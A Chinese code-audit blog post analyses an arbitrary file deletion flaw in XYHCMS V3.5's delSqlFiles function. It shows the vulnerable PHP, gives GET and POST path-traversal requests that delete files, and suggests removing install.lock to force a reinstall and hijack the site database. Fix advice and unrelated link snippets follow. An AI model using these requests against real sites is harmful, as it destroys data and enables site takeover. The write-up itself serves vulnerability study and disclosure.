【代码审计】XYHCMS V3.5任意文件删除漏洞分析
0x00 环境准备
XYHCMS官网:http://www.xyhcms.com/
网站源码版本:XYHCMS V3.5(2017-12-04 更新)
程序源码下载:http://www.xyhcms.com/Show/download/id/2/at/0.html
测试网站首页:
0x01 代码分析
1、漏洞文件位置:/App/Manage/Controller/DatabaseController.class.php 第293--233行:
- public function delSqlFiles() {
- $id = I('id', 0, 'intval');
- $batchFlag = I('get.batchFlag', 0, 'intval');
- //批量删除
- if ($batchFlag) {
- $files = I('key', array());
- } else {
- $files[] = I('sqlfilename', '');
- }
- 10. if (empty($files)) {
- 11. $this->error('请选择要删除的sql文件');
- 12. }
- 13. foreach ($files as $file) {
- 14. unlink($this->getDbPath() . '/' . $file);
- 15. }
- 16. $this->success("已删除:" . implode(",", $files), U('Database/restore'));
- 17. }
这段函数中对提交的参数进行简单的判断,然后将接受的参数拼接到路径中,带入到unlink函数中进行删除,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件,如删除install.lock进行CMS重装,劫持网站
数据库。
0x02 漏洞利用
1、在网站根目录新建1.txt作为漏洞测试文件
2、进行漏洞利用
漏洞利用方式一:
通过GET方式提交参数,删除根目录下的1.txt文件
http://127.0.0.1/xyhai.php?s=/Database/delSqlFiles/sqlfilename/..\\..\\..\\1.txt/tm/1
漏洞利用方式二:
通过POST提交参数,删除根目录下的1.txt文件
http://127.0.0.1/xyhai.php?s=/Database/delSqlFiles/batchFlag/1
POST:key%5B%5D=../../../1.txt
3、如何进一步利用呢?
删除\Install\install.lock,进行CMS重装,劫持网站数据库。删除install.lock文件,访问http://127.0.0.1/install/,成功进入系统重装界面。
0x03 修复建议
1、过滤..,用来防止目录跳转
2、对要删除的文件名进行严格限制
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。
【代码审计】XYHCMS V3.5任意文件删除漏洞分析的更多相关文章
- 【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析
0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...
- 【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析
0x00 环境准备 TuziCMS官网:http://www.tuzicms.com/ 网站源码版本:TuziCMS_v3.0_20161220 程序源码下载:http://www.tuzicms ...
- 【代码审计】XIAOCMS_存在任意文件删除漏洞分析
0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...
- 【代码审计】XYHCMS V3.5任意文件读取漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析
0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...
- 【代码审计】QYKCMS_v4.3.2 任意文件删除漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】iZhanCMS_v2.1 后台任意文件删除漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
- 【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
- dzzoffice 任意文件删除漏洞分析
dzzofiice 任意文件删除漏洞 \upload\dzz\system\dzzcp.php第199行 elseif($do=='deleteIco'){ $arr=array(); $ ...
随机推荐
- 归一化(softmax)、信息熵、交叉熵
机器学习中经常遇到这几个概念,用大白话解释一下: 一.归一化 把几个数量级不同的数据,放在一起比较(或者画在一个数轴上),比如:一条河的长度几千甚至上万km,与一个人的高度1.7m,放在一起,人的高度 ...
- p4中如何rollback/backout merge/integration
原文: http://answers.perforce.com/articles/KB_Article/How-To-Rollback-An-Integration 当我们需要将一个branch上的代 ...
- [Android Pro] 关于Android 7.0无法进行https抓包的问题
cp from : https://www.cnblogs.com/wytings/p/6954293.html 在App进行数据请求的时候,如果每次都打印log去判断是一件很不“人性化”的操作行为 ...
- Mac下打开多个eclipse
命令行执行: open -n /Eclipse所在路径/Eclipse.app
- WPF如何为程序添加splashScreen(初始屏幕)
一.考虑到大部分的splashscreen其实都只是一个图片,所以最简单的做法是,先导入一张图片,然后设置它的生成操作为“splash screen” 二.通过程序设置SplashScreen pub ...
- flex bison
https://www.gnu.org/software/bison/manual/bison.html https://blog.csdn.net/sirouni2003/article/detai ...
- MySql之存储过程的使用
一:创建存储过程 1:简单存储过程 CREATE PROCEDURE 存储过程名() BEGIN SQL操作 END; 2:使用参数的存储过程 CREATE PROCEDURE 存储过程名(IN in ...
- More than the maximum number of request parameters
前些时间,我们的的一个管理系统出现了点问题,原本运行的好好的功能,业务方突然讲不行了,那个应用已经运行了好多年了,并且对应的代码最近谁也没改动过,好奇怪的问题,为了解决此问题,我们查看了日志,发现请求 ...
- JS 动态生成JSON对象
JS 动态生成JSON对象,一般用到JSON传递参数的时候,会用到. function onGeneratedRow(columnsResult) { var jsonData = {}; colum ...
- nginx做负载均衡时其中一台服务器挂掉宕机时响应速度慢的问题解决
nginx会根据预先设置的权重转发请求, 若给某一台服务器转发请求时,达到默认超时时间未响应,则再向另一台服务器转发请求. 默认超时时间1分钟. 修改默认超时时间为1s: server { liste ...